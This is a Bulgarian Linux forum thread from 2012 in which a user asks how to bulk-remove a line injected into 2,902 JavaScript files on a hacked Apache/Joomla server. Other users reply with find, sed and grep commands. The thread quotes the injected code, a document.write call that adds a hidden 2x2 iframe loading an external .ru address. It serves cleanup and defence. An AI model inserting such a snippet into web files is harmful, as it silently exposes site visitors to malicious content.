Автор Тема: Масово триене на редове  (Прочетена 1154 пъти)

dev_urandom

  • Напреднали
  • *****
  • Публикации: 114
  • Distribution: Slackware
    • Профил
Масово триене на редове
« -: Sep 07, 2012, 09:12 »
Здравейте,

най накрая и аз хапнах дръвцето :) Проблема ми е следния:

WEB server със стара /вече не/ версия на Apache + стара /вече не/ версия на Joomla =  катастрофа

Де що има .js файл има инжектиран код в края от вида
document.write('<iframe src="http://wayoseswindows.ru/Tech?8" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');

Общия брой на така "украсените" файлове е 2902 :) , което прави задачата невъзможна да ги редактирам на ръка. Имам списък на файловете, изкаран чрез grep и записан в обикновен текстов файл. Въпросът ми е : Как да изтрия тези редове чрез някакъв скрипт ? sed ?
Активен

romeo_ninov

  • Напреднали
  • *****
  • Публикации: 2155
    • Профил
Re: Масово триене на редове
« Отговор #1 -: Sep 07, 2012, 10:44 »
Нещо със sed няма ли да свърши работа като за начало?
Код:
find .  -name "*.js" -type f -exec sed -i s/wayoseswindows.ru/<server IP>/g {} \;
Мисля че имаш и опция за триене на целия ред, но не мога да я намеря.
И да не забравиш да добавиш в локалния сървър папка Tech с празен index.html
 
Активен

0x2B|~0x2B

dev_urandom

  • Напреднали
  • *****
  • Публикации: 114
  • Distribution: Slackware
    • Профил
Re: Масово триене на редове
« Отговор #2 -: Sep 07, 2012, 12:01 »
Нещо със sed няма ли да свърши работа като за начало?
Код:
find .  -name "*.js" -type f -exec sed -i s/wayoseswindows.ru/<server IP>/g {} \;
Мисля че имаш и опция за триене на целия ред, но не мога да я намеря.
И да не забравиш да добавиш в локалния сървър папка Tech с празен index.html

Благодаря, добре ме насочи !
Весели почивни дни !
Активен

n00b

  • Напреднали
  • *****
  • Публикации: 1248
  • Distribution: OSX
  • Window Manager: 10.6, 10.8, 10.9
  • Live to hack, hack to live.
    • Профил
Re: Масово триене на редове
« Отговор #3 -: Sep 07, 2012, 15:45 »
sed му е майката...

..обаче ще трябва да си напишеш скрипта и да го тестваш.

Аз бих направил нещо като (псевдо код)
grep -r "string" * | xargs ... sed "string" ""

грепа ще издъмпи файловете в поддиректории в един списък (имаше още един параметър само за това но след малко ще видя). За всеки един от файловете xargs ще изпълни sed с параметрите.
Активен

mobilio - професионални мобилни приложения

romeo_ninov

  • Напреднали
  • *****
  • Публикации: 2155
    • Профил
Re: Масово триене на редове
« Отговор #4 -: Sep 07, 2012, 15:59 »
sed му е майката...

..обаче ще трябва да си напишеш скрипта и да го тестваш.

Аз бих направил нещо като (псевдо код)
grep -r "string" * | xargs ... sed "string" ""

грепа ще издъмпи файловете в поддиректории в един списък (имаше още един параметър само за това но след малко ще видя). За всеки един от файловете xargs ще изпълни sed с параметрите.
1. grep -R за да е рекурсивно
2. grep -l за да извади само името на файла.

Но аз по-горе показах нещо с find, което прави същото
Активен

0x2B|~0x2B

n00b

  • Напреднали
  • *****
  • Публикации: 1248
  • Distribution: OSX
  • Window Manager: 10.6, 10.8, 10.9
  • Live to hack, hack to live.
    • Профил
Re: Масово триене на редове
« Отговор #5 -: Sep 07, 2012, 16:36 »
sed му е майката...

..обаче ще трябва да си напишеш скрипта и да го тестваш.

Аз бих направил нещо като (псевдо код)
grep -r "string" * | xargs ... sed "string" ""

грепа ще издъмпи файловете в поддиректории в един списък (имаше още един параметър само за това но след малко ще видя). За всеки един от файловете xargs ще изпълни sed с параметрите.
1. grep -R за да е рекурсивно
2. grep -l за да извади само името на файла.

Но аз по-горе показах нещо с find, което прави същото

Roger that.
Активен

mobilio - професионални мобилни приложения